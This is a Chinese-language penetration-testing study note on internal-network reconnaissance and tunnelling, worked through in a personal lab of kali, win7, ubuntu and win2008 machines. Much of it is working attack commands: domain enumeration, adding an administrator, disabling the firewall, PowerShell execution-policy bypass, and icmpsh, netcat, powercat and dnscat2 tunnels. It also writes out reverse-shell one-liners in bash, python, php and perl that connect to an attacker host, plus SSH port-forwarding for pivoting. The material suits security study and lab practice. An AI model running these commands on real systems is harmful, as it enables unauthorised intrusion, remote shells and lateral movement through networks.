信息收集
网络信息
ipconfig /all
查询网络配置
用户信息
net user
查询用户列表
net user XXX /domain
查询指定用户的详细信息
net localgroup administrators
查看当前用户权限
net localgroup administrators 用户名 /add
添加用户到管理组 `
quser
/ quser UserName
/
qwinsta
查看当前在线用户
进程信息
tasklist /v
查询进程列表
wmic process list brief
查询进程列表
本机信息收集
systeminfo
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
获取操作系统和版本信息
wmic product get name.version
查看本机安装的软件和版本信息
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
查看本机安装的软件和版本信息
netstat -ano
查看端口列表
systeminfo
查询补丁信息
wmic qfe get description,installedOn /format:csv
查看补丁信息
net share
查询本机共享
防火墙
netsh advfirewall show allprofiles
查看防火墙状态
netsh firewall show logging
防火墙日志目录
netsh advfirewall set allprofiles state off
关闭防火墙(winServer 2003以后)
域内信息收集
判断是否有域
ipconfig /all
查看信息
net time /domain
判断是否存在
存在 返回域信息和时间
存在但权限不足 发生系统错误 拒绝访问
不存在 找不到域Workgroup的域控制器
域内存活主机探测
基于ICMP
- windows
1 | for /l %i in (1,1,254) do @ping 192.168.56.%i -w 1 -n 1 | find /i "ttl=" |
- Linux
1 | for k in $( seq 1 255);do ping -c 1 192.168.7.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done |
- nmap扫描
nmap ‐sP ‐PI 192.168.0.1/24 ‐T4
基于arp
- arp-scan 下载地址: https://github.com/QbsuranAlang/arp-scan-windows-
用法 arp-scan.exe -t 192.168.56.0/24
- arp
arp -a
- nmap扫描
nmap -sn -PR 192.168.0.1/24
- msf扫描
use auxiliary/scanner/discovery/arp_sweep
基于udp
- scanline
scanline.exe 192.168.56.101
基于NetBIOS
- nbtscan
nbtscan -r 192.168.0.0/24
- msf扫描
use auxiliary/scanner/netbios/nbname
- nmap扫描
nmap -sU --script nbstat.nse -p137 192.168.0.1/24 -T4
扫描域内端口
利用telnet 命令进行扫描
1 | telnet 目标ip地址 端口号 |
利用msf扫描主机端口
use auxiliary/scanner/portscan/tcp
show options
set ports 1-1024
set RHOSTS 192.168.56.101
set THREADS 10
run
域内基础信息收集
net view /domain
查看域
net view /domain:域名
查看域的电脑
net group /domain
查看域内用户组的列表
net group "domain computers" /domain
查询域成员的列表
net account /domain
查找域内用户和管理员
net user /domain
内网定位管理员工具
参考 https://www.secpulse.com/archives/32859.html
https://pingmaoer.github.io/2020/03/31/%E5%86%85%E7%BD%91%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%BA%8C/
Empire user_hunter模块
psloggedon.exe
PsLoggedon.exe
- PVEFindADUser.exe
PVEFindADUser.exe --current
枚举出域用户以及登陆过特定系统的用户(需要管理员权限)
- Netsess.exe
查询所有域控制器,获取所有的活跃域
下载地址:http://www.joeware.net/freetools/tools/netsess/index.htm
用法 Netsess.exe -h
Powershell
版本
2.0 win2008,win7
3.0 win2018,win8
4.0 win2012R2,win8.1
5.0 win2016,win10
存在4中权限
Restricted 不允许执行任何脚本
Allsigned 只允许执行经过证书验证的脚本
Unrestricted 允许执行任何脚本
RemoteSigned 本地脚本不限制,对外部脚本需要经过证书验证
Get-ExecutionPolicy
查看PS权限
Set-ExecutionPolicy +权限
一般会用cmd 命令行
使用-exec bypass
进行powershell绕过
PowerView脚本
脚本地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
Import-Module
为powershell导入脚本命令,这里假设我们下载的powerview.ps1脚本在C:.ps1
格式:
powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1; powerview的命令参数}"
powershell.exe -exec bypass -Command "& {Import-Module C:.ps1; Get-NetUser}"
PowerView命令参数
Get-NetDomain: 获取当前用户所在域的名称 Get-NetUser: 获取所有用户的详细信息 Get-NetDomainController: 获取所有域控制器的信息 Get-NetComputer: 获取域内所有机器的详细信息 Get-NetOU: 获取域中的OU信息 Get-NetGroup: 获取所有域内组和组成员信息 Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息 Get-NetShare: 获取当前域内所有网络共享信息 Get-NetSession: 获取指定服务器的会话 Get-NetRDPSession: 获取指定服务器的远程连接 Get-NetProcess: 获取远程主机的进程 Get-UserEvent: 获取指定用户的日志 Get-ADObiect: 获取活动目录的对象 Get-NetGPO: 获取域内所有的组策略对象 Get-DomainPolicy: 获取域默认策略或域控制器策略 Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限 Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户 Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。
BloodHound
BloodHound需要使用neo4j数据库,配备java环境
下载地址 https://github.com/BloodHoundAD/BloodHound
URL:neo4j://localhost:7687 用户名(默认):neo4j 密码(默认):neo4j
使用【待补充 】·
隐藏通信隧道技术
隧道: 绕过防火墙屏蔽的一种方式
网络层隧道:
- IPv6
- ICMP
传输层
- TCP
- UDP
应用层
- SSH
- HTTP
- DNS
内网连通性判断
ICMP协议
ping ip
TCP协议
nc -zc ip port
HTTP协议
curl ip:port
DNS协议
nslookup www.baidu.com
dig @8.8.8.8 www.baidu.com
网络层隧道
- Ipv6隧道
- ICMP隧道
ICMP隧道
ICMP隧道工具:icmpsh,Pingtunnel
icmpsh (仅适用于windows,执行icmpsh.exe不需要管理员权限)
Pingtunnel
icmpsh反弹shell
参考:https://www.gdcert.com.cn/index/news_detail/WFJRQF0uABYBFgYEBwQ
安装 git clone https://github.com/inquisb/icmpsh.git
安装依赖库sudo pip2 install impacket
环境
kali 192.168.0.128 win7 192.168.0.129
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
关闭本地系统的icmp应答,恢复改为0即可
将
icmpsh.exe传到win7中,这里开启个http服务去下载python3 -m http.server 9999
win7访问192.168.0.128:9999 去下载 icmpsh.exe
icmpsh.exe参数
-t host :指定攻击者IP -r :用于测试连接 -d milliseconds :设置请求之间的延迟(毫秒) -o milliseconds :设置响应超时时间(毫秒),超时一次则计数器+1 -b num :设置多少次退出 -s bytes :最大数据缓冲区大小(字节)
kali:sudo python2 icmpsh_m.py 192.168.0.128[kali] 192.168.0.129[win7]
win7 icmpsh.exe -t 192.168.0.128
成功反弹shell
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=0
恢复原设置
PingTunnel使用
【待补充】
传输层隧道
lcx端口转发
【待补充】
netcat
下载地址(解压密码为nc):
https://joncraton.org/files/nc111nt.zip
https://joncraton.org/files/nc111nt_safe.zip
获取banner信息
nc -nv 192.168.0.130 22
端口扫描
nc -zv 192.168.56.101 1080
远程连接主机
nc -nvv 192.168.0.129 80
监听端口
nc -lp 9999
监听本地9999端口,访问该端口是会输出信息
文件传输
Ubuntu: nc -lp 6666 > test.txt
开启监听
kali:echo 'test' > test.txt
nc -vn 192.168.0.130 6666 < test.txt -q 1
简易聊天
Ubuntu: nc -l -p 8888
kali:nc -vn 192.168.0.130 8888
nc获取shell
参考 https://www.freebuf.com/sectool/243115.html
https://www.jianshu.com/p/91dd4ab317c7
正向shell 目标机进行监听 反向shell 攻击机进行监听
正向shell
客户端连接服务器,客户端获取服务端的shell (kali【攻击机】连接,目标机监听)
目标机: nc -lvp 8888 -e /bin/sh
攻击机:nc 192.168.0.128 8888
这里我使用Ubuntu作为目标机器是 使用-e 参数会报错,使用版本不同,这里ubuntu默认版本的nc为netcat-openbsd ,没有-e参数 而netcat-traditional版本[v1.10-41.1] 的存在-e选项,kali也是默认该版本的nc
1 | #给Ubuntu替换一个nc版本 参考https://www.jianshu.com/p/91dd4ab317c7 |
成功切换ubuntu的nc版本
依旧使用kali作为攻击机,ubuntu作为目标机
ubuntu: nc -lvp 8888 -e /bin/sh
kali: nc 192.168.0.130 8888
反向shell
客户端连接服务器,服务器获取客户端的shell(kali【攻击机】监听,目标机连接)
攻击机:nc -lvp 8888
目标机 :nc 192.168.0.130 8888 -e /bin/sh
如果是windows
nc -lvp lport -e c:\windows\system32\cmd.exe
python反向shell
注意:这里使用的python2进行反弹shell
攻击机:nc -lvp 8888
目标机:python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash反向shell
攻击机:nc -lvp 8888
目标机:bash -i >& /dev/tcp/192.168.0.128/8888 0>&1
php反向shell
攻击机:nc -lvp 8888
目标机:php -r '$sock=fsockopen("192.168.0.128",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
由于ubuntu没装php环境就不截图演示了
perl反向shell
攻击机:nc -lvp 8888
目标机:perl -e 'use Socket;$i="192.168.0.128";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
内网代理弹shell
kali执行:nc -lvp 3333
数据库执行:nc -lvp 3333 -e /bin/sh
web服务器执行:nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"
原理:web服务器当作中间机,连接kali和数据库的3333端口,使kali与数据库通信
exec反弹shell
攻击机:nc -lvp 8888
目标机:0<&196;exec 196<>/dev/tcp/192.168.0.128/8888; sh <&196 >&196 2>&196
可以利用python2 变为交互式的shell
python2 -c "import pty;pty.spawn('/bin/bash')"
或python -c "import pty;pty.spawn('/bin/bash')"
powercat使用
powercat可以理解成powershell版的natcat,
下载地址: https://github.com/besimorhino/powercat
下载下来的powercat.ps1文件
进行导入Import-Module .\powercat.ps1
如果权限不足
以管理员身份打开powershellSet-ExecutionPolicy Unrestricted
输入Y
Get-ExecutionPolicy
查看当前ps权限
powercat -h
测试是否导入成功
在win10中更改poweshell权限
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
以管理员权限运行,在本机进行尝试时,每次导入模块后系统都会将powercat.ps1删除掉...
#powercat 命令参数
-l 监听模式
-p 指定监听端口
-e 指定启动进程的名称
-v 显示详情
-c 指定想要连接的 IP 地址
-ep 返回 powershell -dns 使用 dns 通信
-g 生成 payload -ge 生成经过编码的 payload,可以直接使用 powershell
-e 执行该 payload
通过nc正向连接powercat
win7:powercat -l -p 8888 -e cmd.exe -v
kali:nc 192.168.0.129 8888
通过nc反向连接powercat
kali:nc -l -p 8888 -v
win7:powercat -c 192.168.0.128 -p 8888 -v -e cmd.exe
返回powershell
win7:powercat -l -v -p 8888
win2008:powercat -c 192.168.0.129 -p 8888 -v -ep
powercat 生成paylaod
win7:
Powercat -l -p 8888 -e cmd -v -g >>shell.ps1
将shell.ps1传到win2008并执行
win7:powercat -c 192.168.0.132 -p 8888 -v
这里试了好几次都没成功.......
不想生成文件的话们可以使用 -ge 生成编码后的payload
win7:powercat -c 192.168.0.129 -p 8888 -ep -ge
创建dns隧道连接
在kali上安装discat
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ gem install bundler bundle install
同时安装ruby环境
开启服务端
ruby dnscat2.rb powercat -e open --no-cache
在win7目标机执行以下命令 建立dns隧道
powercat -c 192.168.0.128 -p 53 -dns powercat -e cmd.exe
这里ip为kali ip
在win7执行完命令后会获得一个session
session -i 1
但是使用该隧道在执行命令时会有些卡,不建议使用
powercat作为跳板进行转发
kali:192.168.0.128
win7:192.168.0.129
win2008:192.168.0.132
win7做跳板,让kali通过win7连接win2008
win2008 powercat -l -v -p 4444 -e cmd.exe
win7
powercat -l -v -p 5555 -r tcp:192.168.0.132:4444
kali nc 192.168.0.129 5555 -vv
SSH隧道
SSH功能:
1.加密SSH Client 端值 SSH Server 端之间的通讯数据
2.突破防护墙的限制完成一些无法建立的TCP连接
常规操作
ssh root@192.168.0.129 -P 22
本质为端口转发
环境配置 win7 192.168.0.129(NAT) 10.10.0.130(仅主机) kali 192.168.0.128(NAT) ubuntu 192.168.0.130(NAT) win2008 10.10.0.131(仅主机)
密码登录于中间人攻击
1..远程主机收到用户登录请求,吧自己的公钥发给用户
2.用户使用该公钥,将密码加密后,发给远程主机
3.远程主机用自己的私钥,解密登录密码,如果密码正确,用户就能登录
服务器 ==========> 用户 =====================> 服务器
------------发送公钥-----------利用公钥加密私钥并发送----密码验证(Y/N)
SSH隧道原理
- 本地端口转发
client/kali --------------- 跳转机 ubnutu ----------------server/win2008
192.168.0.128-----------jump/192.168.0.129------------10.10.0.135
--------------------------------10.10.0.137---------------------
ssh -L 本地端口:目标主机:目标端口 jump主机host
ssh -L 2121:10.10.0.2:21 root@192.168.0.129
建立SSH隧道常用参数 -C 压缩传输,提高传输速度。 -f 将 SSH 传输转入后台执行,不占用当前 shell -N 建立静默连接(建立了连接但看不到具体会话) -g 允许远程主机连接本地用于转发的端口。 -L 本地端口转发 -R 远程端口转发 -D 动态转发( SOCKS 代理) -p 指定 SSH 端口
- 远程端口转发
client/ kali-----------------jump/ubuntu-------------------server/win2008
192.168.0.128--------------10.10.0.129 ---------------------10.10.0.135
------------------------------没有外网ip------------------------------------
----------------------------但是可以连接外网------------------------------
跳转机为纯内网环境,但是可以访问外网
也就是说,跳转机可以访问kali,kali无法访问跳转机,在跳转机上建立一个与kali的连接,然后再kali上使用这个连接 然后将所有数据通过跳转机转发给目标主机的目标端口 (在这里远程主机为kali)
ssh -R 远程主机端口:目标主机:目标主机端口 跳转机
ssh -R 2121:10.10.0.135:21 10.10.0.129
建立SSH隧道常用参数 -C 压缩传输,提高传输速度。 -f 将 SSH 传输转入后台执行,不占用当前 shell -N 建立静默连接(建立了连接但看不到具体会话) -g 允许远程主机连接本地用于转发的端口。 -L 本地端口转发 -R 远程端口转发 -D 动态转发( SOCKS 代理) -p 指定 SSH 端口
- 动态转发
建立一个 socks 连接,任何支持 socks 4/5 协议的程序都可以使用这个加密通道进行访问
可以参考梯 子
ssh -D 8080 user@host
外网去访问内网中的二级服务器
外网 --------------- 一级服务器 --------防火墙 -------- 二级服务器 --------外网 | 内网 --------- 二级服务器只能通过一级服务器访问
在一级服务器上通过本地端口转发,把二级服务器上的流量导到一级服务器上。这样就可以通过一级服务器去访问二级服务器。 所以 二级服务器中的服务器可以通过远程端口转发的方法直接映射到外网的主机,将二级内网的流量直接导入到外网主机的端口,从而实现从外网去访问二级主机
SSH隧道利用
本地端口转发
环境
kali 192.168.0.128(NAT) winserver2008 10.10.0.139(VM18 仅主机) Ubuntu 192.168.0.130(NAT)10.10.0.137(VM18 仅主机)
开启 winServer2008 远程连接 https://www.cnblogs.com/Tanghongchang/p/7445786.html
kali执行以下命令,将内网主机的3389端口映射到自己的3389端口
ssh -CfNg -L 攻击主机端口:内网办公主机IP:内网办公主机端口 Web服务器ssh用户名@Web服务器IP
ssh -CfNg -L 3333:10.10.0.139:3389 mamor@192.168.0.130
通过服务器 192.168.0.139作为跳板 将内网主机winServer2008 的3389端口转发到kali的3388端口,然后访问kali的3333端口即可访问到WinServer2008的3389端口了
使用netstat 进行判断是否建立代理转发
netstat -pantu | grep "3333"
(连接被重设:我先在winServer2008中打开了远程服务 然后用Vm18网段的机器测试完 之后发现winServer2008的ip变了,然后一直在找原因 为什么连不同了...然后改下ssh命令的winserver ip就好了)
然后输入账号密码 即可登录到10.10.0.139 winServer2008服务器中
远程端口转发
环境
kali 192.168.0.128(NAT模式)
Ubuntu 10.10.0.137(VM18 仅主机)
winServer2008 10.10.0.139 (VM18仅主机)0
删除Ubuntu的nat 网卡,现在仅有VM18一块网卡(10.10.0.0/24网段的)
但是在设置网络的时候没找到相关的文字,没成功连上外网,之后有时间整个vps复现
ssh -R 远程主机端口:目标主机:目标主机端口 跳转机
使用 -R 创建一个远程转发模式的隧道
ssh -CfNg -R 3333:10.10.0.139:3389 mamor@192.168.0.130
使用netstat
判断代理转发是否成功建立
netstat -ano | grep "3333"
rdesktop 127.0.0.1:3333
动态转发
环境
kali 192.168.0.128(NAT)
Ubuntu 192.168.0.130(NAT) 10.10.0.137(VM18 仅主机)
WinServer2008 10.10.0.139(VM18 仅主机)
ssh -CfNg -D 攻击主机端口 Web服务器ssh用户名@Web服务器IP
ssh -CfNg -D 8888 mamor@192.168.0.130
然后使用proxychains4 代理
sudo vim /etc/proxychains4.conf
添加socks5 127.0.0.1 8888
然后使用proxychains4 firefox 10.10.0.139
成功访问到内网WinServer2008
的web页面
但是 使用firefox的代理插件SwitchyOmega 无法访问内网的web页面
使用proxychains4 访问WinServer2008的3389端口
proxychains4 rdesktop 10.10.0.139:3389
成功访问3389端口
Reference
https://websec.readthedocs.io/zh/latest/intranet/index.html
https://c.wgpsec.org/p/10053
https://www.icode9.com/content-3-780098.html
https://yoga7xm.top/2019/03/27/IPentest-discover/
https://www.cnblogs.com/-chenxs/p/12378110.html
https://soapffz.com/sec/21.html
https://www.freebuf.com/sectool/243115.html
https://teamssix.com/year/210601-155103.html